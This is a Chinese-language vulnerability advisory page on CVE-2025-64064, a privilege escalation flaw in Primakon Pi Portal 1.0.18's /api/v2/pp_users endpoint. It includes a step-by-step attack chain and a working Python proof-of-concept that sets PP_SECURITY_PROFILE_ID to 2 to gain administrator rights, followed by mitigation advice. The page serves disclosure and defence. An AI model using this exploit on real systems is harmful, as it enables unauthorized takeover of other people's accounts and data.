IPBUF安全漏洞报告
English
CVE-2025-64064 CVSS 8.8 高危

CVE-2025-64064: Primakon Pi Portal权限提升漏洞

披露日期: 2025-11-25

漏洞信息

漏洞编号
CVE-2025-64064
漏洞类型
权限提升
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Primakon Pi Portal 1.0.18

相关标签

权限提升访问控制Primakon Pi PortalCVE-2025-64064API安全IDOR高危漏洞

漏洞概述

CVE-2025-64064是Primakon公司开发的Primakon Pi Portal 1.0.18版本中的一个高危安全漏洞。该漏洞存在于/api/v2/pp_users API端点,由于该端点在处理PATCH请求时未能充分验证用户权限,导致攻击者可以通过构造恶意请求修改自身的PP_SECURITY_PROFILE_ID参数。攻击者只需在请求正文中将PP_SECURITY_PROFILE_ID设置为2(管理员权限标识),即可将普通用户账户提升为管理员权限,从而获得系统的完全控制权。这一漏洞的严重性在于其利用门槛极低,任何低权限用户都可以发起攻击,无需特殊的技术能力或复杂的攻击准备。成功利用此漏洞后,攻击者可以访问敏感数据、修改系统配置、执行管理操作,甚至可能进一步横向移动到其他关联系统。对于企业而言,该漏洞可能导致机密信息泄露、业务数据被篡改、服务中断等严重后果,需要尽快采取修复措施。

技术细节

该漏洞的根本原因在于Primakon Pi Portal的/api/v2/pp_users端点存在访问控制缺陷。在正常的权限管理模型中,修改用户安全配置文件ID(PP_SECURITY_PROFILE_ID)属于高权限操作,需要服务器端验证当前用户是否具有相应的管理权限。然而,该API端点在处理PATCH请求时,仅检查了用户是否已登录,而未对用户尝试修改的权限级别进行权限校验。攻击者可以通过发送如下HTTP PATCH请求来利用此漏洞:请求目标为/api/v2/pp_users端点,请求方法为PATCH,在请求正文中包含{"PP_SECURITY_PROFILE_ID": 2}字段。由于服务器端未正确验证请求者的权限级别,直接接受了客户端提交的权限值,导致低权限用户可以将自己提升为管理员(ID=2通常代表管理员角色)。这种直接对象引用(IDOR)结合缺失的权限检查,使得权限提升攻击成为可能。攻击成功后,攻击者获得的管理员权限是完整的,可以执行所有管理员操作,包括创建、修改、删除用户账户,访问所有业务数据和系统配置。

攻击链分析

STEP 1
步骤1
攻击者首先使用低权限账户凭据(如普通用户账号)登录Primakon Pi Portal系统,获取有效的会话令牌
STEP 2
步骤2
攻击者构造恶意的PATCH请求,目标端点为/api/v2/pp_users,在请求正文中包含PP_SECURITY_PROFILE_ID=2参数
STEP 3
步骤3
服务器端接收请求后,由于缺少权限验证逻辑,直接处理了用户提交的安全配置文件ID修改请求
STEP 4
步骤4
攻击者的账户权限被成功提升为管理员级别(PP_SECURITY_PROFILE_ID=2),获得完整的系统管理权限
STEP 5
步骤5
攻击者利用获得的管理员权限执行后续恶意操作,包括访问敏感数据、修改系统配置、创建后门账户等

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-64064 PoC - Primakon Pi Portal Privilege Escalation # Target: Primakon Pi Portal 1.0.18 # Endpoint: /api/v2/pp_users # Vulnerability: Insufficient permission check allows low-privilege users to escalate to admin TARGET_URL = "http://target-server.com/api/v2/pp_users" USERNAME = "low_privilege_user" PASSWORD = "user_password" def exploit_privilege_escalation(): """ This PoC demonstrates how a low-privilege user can escalate privileges to administrator by modifying PP_SECURITY_PROFILE_ID to 2. """ # Step 1: Authenticate with low-privilege account login_url = f"{TARGET_URL.rsplit('/api', 1)[0]}/api/v2/auth/login" login_data = { "username": USERNAME, "password": PASSWORD } session = requests.Session() login_response = session.post(login_url, json=login_data) if login_response.status_code != 200: print(f"[-] Login failed: {login_response.status_code}") return False print("[+] Successfully authenticated with low-privilege account") # Step 2: Exploit the privilege escalation vulnerability exploit_data = { "PP_SECURITY_PROFILE_ID": 2 # 2 = Administrator privilege } exploit_response = session.patch(TARGET_URL, json=exploit_data) if exploit_response.status_code == 200: print("[+] Privilege escalation successful!") print("[+] Current user is now Administrator") print(f"[*] Response: {exploit_response.text}") return True else: print(f"[-] Exploit failed: {exploit_response.status_code}") return False if __name__ == "__main__": exploit_privilege_escalation()

影响范围

Primakon Pi Portal 1.0.18

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时缓解措施:1) 限制/api/v2/pp_users端点的网络访问,仅允许受信任的管理网络访问;2) 在Web应用防火墙(WAF)上配置规则,阻止包含PP_SECURITY_PROFILE_ID参数的PATCH请求;3) 临时禁用PP_SECURITY_PROFILE_ID参数的修改功能,直到漏洞修复;4) 加强对用户账户的监控,检测异常的权限变更行为;5) 限制普通用户的账户权限,避免分配非必要的功能访问权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表